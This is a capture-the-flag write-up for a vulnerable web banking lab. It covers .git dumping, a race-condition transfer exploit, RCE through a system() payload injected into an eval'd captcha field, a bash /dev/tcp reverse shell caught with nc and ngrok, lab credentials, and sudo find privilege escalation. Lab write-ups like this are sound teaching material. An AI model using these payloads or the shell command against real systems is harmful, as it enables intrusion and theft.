ChallengeWriteup

Day 3 Challenge Writeups

Cover Image for Day 3 Challenge Writeups
Team
Team

Vulnbydefault Day 3 Writeup

On opening the site url we have given the following interface

Pasted Image

It has login functionality but don't have register stuff

Recon

Lets start enumeration

First we would check the source of index

Pasted Image

lets use cyberchef to decode that encoded stuff use this site

Pasted Image

lets fuzz the site

Pasted Image

there is .git directory you can also use this extension which would help you in finding .git in machines https://addons.mozilla.org/en-US/firefox/addon/dotgit/ lets use git-dumper to dump the .git directory https://github.com/arthaud/git-dumper you can install it using following command

pip install git-dumper

Now we would dump git repository

git-dumper <.git URL> <output directory>
git-dumper http://127.0.0.1:3001/.git/HEAD source

Pasted Image

Pasted Image

Here we got robots.txt file Pasted Image

lets check git logs

git log -p

Pasted Image

lets login using any user

Pasted Image

we got second flag

Pasted Image

lets check for credit card eligibility

Pasted Image

Pasted Image

lets check eligibility

Pasted Image

alright we need balance at least 11000

Pasted Image

but we have 5000 in our account. Let's check transfer page:

Pasted Image

so it has username for recipient and amount. Let's check transfer.php

Pasted Image

alright it checks for user if it is alice or bob

we can check in source code that there is no logic which checks for race condition

lets check for race condition

Intercept the request for transfer money

Pasted Image

send it to repeater lets make group

Pasted Image

Pasted Image

we would select last option for parallel requests

Pasted Image

now click on send group (parallel)

Pasted Image

now check dashboard

Pasted Image

it has negative balance

lets login using bob user bob:bobisgoat we have second flag

Pasted Image

Now we are eligible for card

lets check the eligibility because we have balance greater than 11000

before that lets check the source code eligibility.php

Pasted Image

so our input is checked first and then given to eval function in the check list system function is not included lets use that function intercept the request in burpsuite in captcha_num2 i would change it to system("id")

Pasted Image

alright we have got rce

Pasted Image

lets use reverse shell payload first start listener on any port i would use 4001

nc -lvnp 4001
ngrok tcp 4001

Pasted Image

credit_score=300&address=Sulitech&requested_balance=50&usage_purpose=online_use&captcha=9&captcha_num1=3&captcha_num2=system("bash -c 'bash -i >& /dev/tcp/ngrop/PORT 0>&1'")

got shell

Pasted Image

lets check /etc/passwd

Pasted Image

we have developer user lets check web root

Pasted Image

lets check the db folder

Pasted Image

lets check initialize.php file

Pasted Image

so we got developer user password developer:rootm3l3ts$33

Pasted Image

use this to stabilize the shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

on /home/developer we have user.txt

Pasted Image

lets check sudo -l

Pasted Image

go to this site

Pasted Image

sudo find . -exec /bin/sh \; -quit

Pasted Image